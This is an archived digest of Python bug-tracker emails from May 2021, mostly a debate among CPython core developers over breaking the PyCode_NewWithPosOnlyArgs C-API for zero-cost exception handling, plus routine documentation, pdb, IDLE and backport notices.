the comment: I agree with you but we already went through this when I added positional-only arguments and everyone complained that Cython and other projects were broken and we changed a stable API function so I am just mentioning that we are here again. Honestly, I think what you describe makes sense and this constructor should never be stable (as the Python one is not stable). If we add column offsets that's another parameter more than we would need to add. But in any case that's just my opinion and we should reach some conclusion collectively, that's why I mentioned this here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 09:05:37 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 May 2021 13:05:37 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620738337.64.0.0952405896782.issue40222@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: In any case, if we decide to let it stay, at the very least this behaviour (that these functions are not stable) needs to be documented everywhere: what's new, C-API docs...etc And probably we need to somehow add it to the future deprecations of 3.10 for visibility. As I mentioned, I simphatise with your argument and I think it makes sense, but we cannot just do it in a BPO issue, I'm afraid. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 09:38:40 2021 From: report at bugs.python.org (Jackson Riley) Date: Tue, 11 May 2021 13:38:40 +0000 Subject: [issue39766] unittest's assertRaises removes locals from tracebacks In-Reply-To: <1582754471.69.0.783470624559.issue39766@roundup.psfhosted.org> Message-ID: <1620740320.12.0.629457059219.issue39766@roundup.psfhosted.org> Jackson Riley added the comment: +1 - I was surprised not to be able to get locals from many of the frames in pdb upon an unexpected exception being raised inside an assertRaises. Thanks for raising this issue Daniel. ---------- nosy: +jacksonriley _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 10:02:43 2021 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 11 May 2021 14:02:43 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620741763.34.0.358425049063.issue40222@roundup.psfhosted.org> Petr Viktorin added the comment: PyCode_NewWithPosOnlyArgs is not part of the stable ABI. It is OK to break its ABI in a minor version (i.e. 3.11). The PyAPI_FUNC makes it part of the public *API*. It needs to be source- compatible; the number of arguments can't change. Could yo u add a new function? I wouldn't remove PyCode_NewWithPosOnlyArgs from the public C API, which can be CPython-specific and used by projects like Cython that need some low-level access for performance. But PEP 387 applies, so if it is deprecated in 3.11, it can be removed in 3.13. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 10:04:57 2021 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Tue, 11 May 2021 14:04:57 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be (move PyThreadState.use_tracing) In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620741897.41.0.665662715902.issue43760@roundup.psfhosted.org> Miro Hron?ok added the comment: A Cython issue report: https://github.com/cython/cython/issues/4153 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 10:04:42 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 11 May 2021 14:04:42 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1620741882.99.0.0201804425177.issue43795@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24681 pull_request: https://github.com/python/cpython/pull/26034 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 10:12:18 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 May 2021 14:12:18 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620742338.22.0.388339315531.issue40222@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > The PyAPI_FUNC makes it part of the public *API*. It needs to be source- compatible; the number of arguments can't change. Could yo u add a new function? Unfortunately, no: new functions cannot be added easily because the new field that receives is needed and is a complicated field created by the compiler. The old API is not enough anymore and making a compatibility layer is a huge complexity. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 10:21:58 2021 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 11 May 2021 14:21:58 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620742918.17.0.643910834266.issue40222@roundup.psfhosted.org> Petr Viktorin added the comment: Then, according to PEP 387, "The steering council may grant exceptions to this policy." I think API breaks like this do need coordination at the project level. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 10:28:00 2021 From: report at bugs.python.org (Larry Hastings) Date: Tue, 11 May 2021 14:28:00 +0000 Subject: [issue36216] CVE-2019-9636: urlsplit does not handle NFKC normalization In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org> Message-ID: <1620743280.2.0.830765429394.issue36216@roundup.psfhosted.org> Change by Larry Hastings : ---------- nosy: -larry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 10:30:20 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 May 2021 14:30:20 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620743420.75.0.474448367439.issue40222@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > I think API breaks like this do need coordination at the project level. Absolutely, that's why I said before: > As I mentioned, I simphatise with your argument and I think it makes sense, but we cannot just do it in a BPO issue, I'm afraid. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 10:33:14 2021 From: report at bugs.python.org (Zachary Ware) Date: Tue, 11 May 2021 14:33:14 +0000 Subject: [issue28708] Low FD_SETSIZE limit on Windows In-Reply-To: <1479250358.07.0.768722440644.issue28708@psf.upfronthosting.co.za> Message-ID: <1620743594.15.0.333517426218.issue28708@roundup.psfhosted.org> Change by Zachary Ware : ---------- Removed message: https://bugs.python.org/msg393447 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 10:37:24 2021 From: report at bugs.python.org (Mark Shannon) Date: Tue, 11 May 2021 14:37:24 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620743844.93.0.107901010629.issue40222@roundup.psfhosted.org> Mark Shannon added the comment: It is very little effort to add back the old function, so that isn't the problem. It won't work properly, but it never did anyway. So I guess that's sort of compatible. Maybe the best thing is to put a big red warning in the docs and hope that warns away people from using it? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 10:52:29 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 11 May 2021 14:52:29 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620744749.39.0.672866863811.issue40222@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > It is very little effort to add back the old function, so that isn't the problem. It won't work properly, but it never did anyway. So I guess that's sort of compatible. It won't work properly is an incompatible change. Before, if you extract all fields from a code object and pass it down to the constructor, everything will work. > Maybe the best thing is to put a big red warning in the docs and hope that warns away people from using it? I think code object constructors must be part of the private CAPI due to what we are experiencing. But again, this is something we cannot decide on this bpo issue. Either a python-dev thread needs to be open or a Steering Council request in the https://github.com/python/steering-council repo needs to be opened. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 12:35:22 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Tue, 11 May 2021 16:35:22 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1620750922.71.0.580900520115.issue37596@roundup.psfhosted.org> Filipe La?ns added the comment: Another idea, would it be possible to add a flag to turn on reproducibility, sacrificing performance? This flag could be set when generating bytecode, where the performance hit shouldn't be that relevant. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 13:35:43 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 May 2021 17:35:43 +0000 Subject: [issue25821] Documentation for threading.enumerate / threading.Thread.is_alive is contradictory. In-Reply-To: <1449533020.35.0.749010589041.issue25821@psf.upfronthosting.co.za> Message-ID: <1620754543.69.0.0372000112931.issue25821@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 13:55:33 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 11 May 2021 17:55:33 +0000 Subject: [issue25821] Documentation for threading.enumerate / threading.Thread.is_alive is contradictory. In-Reply-To: <1449533020.35.0.749010589041.issue25821@psf.upfronthosting.co.za> Message-ID: <1620755733.32.0.632192880739.issue25821@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24682 pull_request: https://github.com/python/cpython/pull/26035 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 13:55:37 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 11 May 2021 17:55:37 +0000 Subject: [issue25821] Documentation for threading.enumerate / threading.Thread.is_alive is contradictory. In-Reply-To: <1449533020.35.0.749010589041.issue25821@psf.upfronthosting.co.za> Message-ID: <1620755737.88.0.843589704521.issue25821@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24683 pull_request: https://github.com/python/cpython/pull/26036 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 14:01:08 2021 From: report at bugs.python.org (Elijah Rippeth) Date: Tue, 11 May 2021 18:01:08 +0000 Subject: [issue44069] pathlib.Path.glob's generator is not a real generator In-Reply-To: <1620402382.41.0.425186476785.issue44069@roundup.psfhosted.org> Message-ID: <1620756068.68.0.430303184173.issue44069@roundup.psfhosted.org> Change by Elijah Rippeth : ---------- versions: +Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 14:16:10 2021 From: report at bugs.python.org (Stefan Behnel) Date: Tue, 11 May 2021 18:16:10 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be (move PyThreadState.use_tracing) In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1620756970.56.0.177047034601.issue43760@roundup.psfhosted.org> Stefan Behnel added the comment: For the same reason that motivated this ticket, I think the functions should be inline functions. They should also take the current thread-state as argument, because that's probably known on the caller side already. I guess a macro would be fine, too. :) Cython previously used "use_tracing" directly because it needs to implement the exact same tracing/profiling behaviour as CPython, regardless of who called a Cython implemented function (Cython or CPython). Naming nit: Get/Is/UsesTracing? Also, given that a common use case seems to be "make sure tracing is disabled, do something, enable tracing if it was enabled", I think DisableTracing() should return the previous state. ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 14:19:44 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 May 2021 18:19:44 +0000 Subject: [issue25821] Documentation for threading.enumerate / threading.Thread.is_alive is contradictory. In-Reply-To: <1449533020.35.0.749010589041.issue25821@psf.upfronthosting.co.za> Message-ID: <1620757184.05.0.194675025471.issue25821@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 7bef7a180da56e0399f4dec2c992bb101470fc73 by Miss Islington (bot) in branch '3.10': bpo-25821: Fix inaccuracy in threading.enumerate/is_alive documentation (GH-23192) (#26035) https://github.com/python/cpython/commit/7bef7a180da56e0399f4dec2c992bb101470fc73 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 14:19:50 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 May 2021 18:19:50 +0000 Subject: [issue25821] Documentation for threading.enumerate / threading.Thread.is_alive is contradictory. In-Reply-To: <1449533020.35.0.749010589041.issue25821@psf.upfronthosting.co.za> Message-ID: <1620757190.61.0.252604874731.issue25821@roundup.psfhosted.org> Irit Katriel added the comment: New changeset bde14f7fbd5f11bb40d9c314bd74eaa231236c6b by Miss Islington (bot) in branch '3.9': bpo-25821: Fix inaccuracy in threading.enumerate/is_alive documentation (GH-23192) (#26036) https://github.com/python/cpython/commit/bde14f7fbd5f11bb40d9c314bd74eaa231236c6b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 14:20:25 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 May 2021 18:20:25 +0000 Subject: [issue25821] Documentation for threading.enumerate / threading.Thread.is_alive is contradictory. In-Reply-To: <1449533020.35.0.749010589041.issue25821@psf.upfronthosting.co.za> Message-ID: <1620757225.64.0.516984219193.issue25821@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 14:30:03 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Tue, 11 May 2021 18:30:03 +0000 Subject: [issue23750] doc: Clarify difference between os.system/subprocess.call in section "Replacing os.system()" In-Reply-To: <1427120891.65.0.0570880238086.issue23750@psf.upfronthosting.co.za> Message-ID: <1620757803.49.0.751511613785.issue23750@roundup.psfhosted.org> Senthil Kumaran added the comment: Does anyone know what the return value 768 signify here? ---------- nosy: +orsenthil _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:17:57 2021 From: report at bugs.python.org (Stefan Behnel) Date: Tue, 11 May 2021 20:17:57 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620764277.99.0.834421421308.issue40222@roundup.psfhosted.org> Stefan Behnel added the comment: Just a comment regarding the change to "PyCode_NewWithPosOnlyArgs()". As Pablo mentioned, this has happened before. And that's OK! Exactly because this has happened before, it's clearly not a part of the API that is meant to be stable. I can easily adapt Cython to make this work in the next patch-level release of CPython 3.11 (or the current one, since alpha-1 seems not so close), but any adaptation will be patch-level dependent. Meaning, for each such change, there will be a couple of weeks or months until the C preprocessor makes the code compile again. And during that time, people won't be able to test their code to report issues. So, I'd rather have compatibility broken and stay that way, than going one way now and changing it back later, thus going through the same adaptation period twice. That being said, any such change means that maintainers will have to rebuild their packages with a new Cython release to adapt them to Py3.11. Many will, but some won't, for whatever reason. ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:27:17 2021 From: report at bugs.python.org (Tal Einat) Date: Tue, 11 May 2021 20:27:17 +0000 Subject: [issue21261] Teach IDLE to Autocomplete dictionary keys In-Reply-To: <1397672472.64.0.119805531416.issue21261@psf.upfronthosting.co.za> Message-ID: <1620764837.41.0.900490213655.issue21261@roundup.psfhosted.org> Change by Tal Einat : ---------- pull_requests: +24684 pull_request: https://github.com/python/cpython/pull/26039 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:31:07 2021 From: report at bugs.python.org (Tal Einat) Date: Tue, 11 May 2021 20:31:07 +0000 Subject: [issue21261] Teach IDLE to Autocomplete dictionary keys In-Reply-To: <1397672472.64.0.119805531416.issue21261@psf.upfronthosting.co.za> Message-ID: <1620765067.17.0.279257125217.issue21261@roundup.psfhosted.org> Tal Einat added the comment: Note that I've created a new version of the latest PR, with support for dict keys of type bytes removed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:33:57 2021 From: report at bugs.python.org (Tomasz Magulski) Date: Tue, 11 May 2021 20:33:57 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620765237.62.0.486387011199.issue44061@roundup.psfhosted.org> Change by Tomasz Magulski : ---------- nosy: +magul _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:39:47 2021 From: report at bugs.python.org (Tal Einat) Date: Tue, 11 May 2021 20:39:47 +0000 Subject: [issue21261] Teach IDLE to Autocomplete dictionary keys In-Reply-To: <1397672472.64.0.119805531416.issue21261@psf.upfronthosting.co.za> Message-ID: <1620765587.78.0.099245877309.issue21261@roundup.psfhosted.org> Change by Tal Einat : ---------- keywords: +patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:39:38 2021 From: report at bugs.python.org (Tal Einat) Date: Tue, 11 May 2021 20:39:38 +0000 Subject: [issue21261] Teach IDLE to Autocomplete dictionary keys In-Reply-To: <1397672472.64.0.119805531416.issue21261@psf.upfronthosting.co.za> Message-ID: <1620765578.77.0.399823330213.issue21261@roundup.psfhosted.org> Change by Tal Einat : ---------- keywords: -easy, patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:43:27 2021 From: report at bugs.python.org (Jonathan Schweder) Date: Tue, 11 May 2021 20:43:27 +0000 Subject: [issue44107] HTTPServer can't close http client completely In-Reply-To: <1620727659.65.0.182288383134.issue44107@roundup.psfhosted.org> Message-ID: <1620765807.13.0.9597173482.issue44107@roundup.psfhosted.org> Jonathan Schweder added the comment: @ueJone according to the (RFC)[https://datatracker.ietf.org/doc/html/rfc6455#section-1.4] the FIN/ACK is not normative, in other words is recommended but not required, I've checked the syscalls of the server, see it below: ``` ... 1561 15143 write(2, "127.0.0.1 - - [11/May/2021 20:08"..., 60) = 60$ 1562 15143 sendto(4, "HTTP/1.0 200 OK\r\nServer: SimpleH"..., 154, 0, NULL, 0) = 154$ 1563 15143 sendto(4, " _______________________________________ From report at bugs.python.org Tue May 11 16:47:26 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 11 May 2021 20:47:26 +0000 Subject: [issue23750] doc: Clarify difference between os.system/subprocess.call in section "Replacing os.system()" In-Reply-To: <1427120891.65.0.0570880238086.issue23750@psf.upfronthosting.co.za> Message-ID: <1620766046.14.0.872769455845.issue23750@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24686 pull_request: https://github.com/python/cpython/pull/26041 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:47:21 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 11 May 2021 20:47:21 +0000 Subject: [issue23750] doc: Clarify difference between os.system/subprocess.call in section "Replacing os.system()" In-Reply-To: <1427120891.65.0.0570880238086.issue23750@psf.upfronthosting.co.za> Message-ID: <1620766041.38.0.068223356059.issue23750@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24685 pull_request: https://github.com/python/cpython/pull/26040 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:50:25 2021 From: report at bugs.python.org (Miguel Brito) Date: Tue, 11 May 2021 20:50:25 +0000 Subject: [issue44110] Improve string's __getitem__ error message Message-ID: <1620766225.38.0.0603325093774.issue44110@roundup.psfhosted.org> New submission from Miguel Brito : I noticed that __getitem__ message, although helpful, could be improved a bit further. This will also make it consistent with other error messages such as the ones raised by `str.count`, `str.split`, `str.endswith` and so many others. Currently, the error message goes like this: "TypeError: string indices must be integers" but we could specify the type of the object passed as argument to __getitem__. So, for example: ``` >>> idx = '1' >>> s = 'abcde' >>> s[idx] Traceback (most recent call last): File "", line 1, in TypeError: string indices must be integers, not 'str' ``` This makes easier to debug and it is also consistent with other methods: >>> "alala".count(8) Traceback (most recent call last): File "", line 1, in TypeError: must be str, not int >>> "lala|helo".split(1) Traceback (most recent call last): File "", line 1, in TypeError: must be str or None, not int >>> 1 in "lala" Traceback (most recent call last): File "", line 1, in TypeError: 'in ' requires string as left operand, not int >>> "lala|helo".split(object()) Traceback (most recent call last): File "", line 1, in TypeError: must be str or None, not object ---------- components: Interpreter Core messages: 393473 nosy: miguendes priority: normal severity: normal status: open title: Improve string's __getitem__ error message type: enhancement versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:51:25 2021 From: report at bugs.python.org (Miguel Brito) Date: Tue, 11 May 2021 20:51:25 +0000 Subject: [issue44110] Improve string's __getitem__ error message In-Reply-To: <1620766225.38.0.0603325093774.issue44110@roundup.psfhosted.org> Message-ID: <1620766285.22.0.383191639293.issue44110@roundup.psfhosted.org> Change by Miguel Brito : ---------- keywords: +patch pull_requests: +24687 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26042 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:55:21 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Tue, 11 May 2021 20:55:21 +0000 Subject: [issue23750] doc: Clarify difference between os.system/subprocess.call in section "Replacing os.system()" In-Reply-To: <1427120891.65.0.0570880238086.issue23750@psf.upfronthosting.co.za> Message-ID: <1620766521.53.0.344884262758.issue23750@roundup.psfhosted.org> Senthil Kumaran added the comment: New changeset 6fc6f4366d02412e3424d2a6da43a28d8f479d7b by Miss Islington (bot) in branch '3.10': bpo-23750: Document os-system, subprocess. Patch by Martin Panter. (GH-26016) (GH-26040) https://github.com/python/cpython/commit/6fc6f4366d02412e3424d2a6da43a28d8f479d7b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:55:39 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Tue, 11 May 2021 20:55:39 +0000 Subject: [issue23750] doc: Clarify difference between os.system/subprocess.call in section "Replacing os.system()" In-Reply-To: <1427120891.65.0.0570880238086.issue23750@psf.upfronthosting.co.za> Message-ID: <1620766539.38.0.167594451247.issue23750@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 16:55:27 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Tue, 11 May 2021 20:55:27 +0000 Subject: [issue23750] doc: Clarify difference between os.system/subprocess.call in section "Replacing os.system()" In-Reply-To: <1427120891.65.0.0570880238086.issue23750@psf.upfronthosting.co.za> Message-ID: <1620766527.92.0.838823259641.issue23750@roundup.psfhosted.org> Senthil Kumaran added the comment: New changeset 390bfe044531a813722919933116ed37fe321861 by Miss Islington (bot) in branch '3.9': bpo-23750: Document os-system, subprocess. Patch by Martin Panter. (GH-26016) (GH-26041) https://github.com/python/cpython/commit/390bfe044531a813722919933116ed37fe321861 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 17:41:01 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 May 2021 21:41:01 +0000 Subject: [issue28528] Pdb.checkline() In-Reply-To: <1477401123.41.0.136094342663.issue28528@psf.upfronthosting.co.za> Message-ID: <1620769261.64.0.297768419876.issue28528@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.5, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 17:41:40 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 May 2021 21:41:40 +0000 Subject: [issue28528] Pdb.checkline() attribute error when 'curframe' is missing In-Reply-To: <1477401123.41.0.136094342663.issue28528@psf.upfronthosting.co.za> Message-ID: <1620769300.31.0.813457575513.issue28528@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: Pdb.checkline() -> Pdb.checkline() attribute error when 'curframe' is missing _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 17:48:29 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 11 May 2021 21:48:29 +0000 Subject: [issue10548] document (lack of) interaction between @expectedFailure on a test_method and setUp In-Reply-To: <1290870998.37.0.268172055445.issue10548@psf.upfronthosting.co.za> Message-ID: <1620769709.71.0.313702462916.issue10548@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24688 pull_request: https://github.com/python/cpython/pull/26044 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 17:48:33 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 11 May 2021 21:48:33 +0000 Subject: [issue10548] document (lack of) interaction between @expectedFailure on a test_method and setUp In-Reply-To: <1290870998.37.0.268172055445.issue10548@psf.upfronthosting.co.za> Message-ID: <1620769713.87.0.795621916642.issue10548@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24689 pull_request: https://github.com/python/cpython/pull/26045 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 17:52:24 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 May 2021 21:52:24 +0000 Subject: [issue10548] document (lack of) interaction between @expectedFailure on a test_method and setUp In-Reply-To: <1290870998.37.0.268172055445.issue10548@psf.upfronthosting.co.za> Message-ID: <1620769944.61.0.211045604508.issue10548@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 18:23:58 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 May 2021 22:23:58 +0000 Subject: [issue10548] document (lack of) interaction between @expectedFailure on a test_method and setUp In-Reply-To: <1290870998.37.0.268172055445.issue10548@psf.upfronthosting.co.za> Message-ID: <1620771838.42.0.117339082883.issue10548@roundup.psfhosted.org> Irit Katriel added the comment: New changeset c9049cf0aa9917abfd51b27e4258c395c5f66ff4 by Miss Islington (bot) in branch '3.9': bpo-10548: expectedFailure does not apply to fixtures (GH-23201) (#26045) https://github.com/python/cpython/commit/c9049cf0aa9917abfd51b27e4258c395c5f66ff4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 18:23:48 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 May 2021 22:23:48 +0000 Subject: [issue10548] document (lack of) interaction between @expectedFailure on a test_method and setUp In-Reply-To: <1290870998.37.0.268172055445.issue10548@psf.upfronthosting.co.za> Message-ID: <1620771828.5.0.254367923371.issue10548@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 1e4ca09d825cc8059bbf80c8137164816b84cfe7 by Miss Islington (bot) in branch '3.10': bpo-10548: expectedFailure does not apply to fixtures (GH-23201) (#26044) https://github.com/python/cpython/commit/1e4ca09d825cc8059bbf80c8137164816b84cfe7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 18:24:12 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 May 2021 22:24:12 +0000 Subject: [issue10548] document (lack of) interaction between @expectedFailure on a test_method and setUp In-Reply-To: <1290870998.37.0.268172055445.issue10548@psf.upfronthosting.co.za> Message-ID: <1620771852.6.0.363844186519.issue10548@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 19:24:32 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 May 2021 23:24:32 +0000 Subject: [issue28528] Pdb.checkline() attribute error when 'curframe' is None In-Reply-To: <1477401123.41.0.136094342663.issue28528@psf.upfronthosting.co.za> Message-ID: <1620775472.95.0.78739688338.issue28528@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: Pdb.checkline() attribute error when 'curframe' is missing -> Pdb.checkline() attribute error when 'curframe' is None _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 19:26:39 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 11 May 2021 23:26:39 +0000 Subject: [issue28528] Pdb.checkline() attribute error when 'curframe' is None In-Reply-To: <1477401123.41.0.136094342663.issue28528@psf.upfronthosting.co.za> Message-ID: <1620775599.26.0.0983225663319.issue28528@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24690 pull_request: https://github.com/python/cpython/pull/26050 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 19:26:43 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 11 May 2021 23:26:43 +0000 Subject: [issue28528] Pdb.checkline() attribute error when 'curframe' is None In-Reply-To: <1477401123.41.0.136094342663.issue28528@psf.upfronthosting.co.za> Message-ID: <1620775603.63.0.308341583274.issue28528@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24691 pull_request: https://github.com/python/cpython/pull/26051 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 19:31:57 2021 From: report at bugs.python.org (Steve Dower) Date: Tue, 11 May 2021 23:31:57 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620775917.21.0.595791683831.issue44061@roundup.psfhosted.org> Change by Steve Dower : ---------- pull_requests: +24692 pull_request: https://github.com/python/cpython/pull/26052 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 19:34:04 2021 From: report at bugs.python.org (Steve Dower) Date: Tue, 11 May 2021 23:34:04 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620776044.65.0.880844866747.issue44061@roundup.psfhosted.org> Steve Dower added the comment: Thanks for the patch! I don't think this meets the 3.8 bar now, but if ?ukasz wants it then it should be easy. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 19:48:12 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 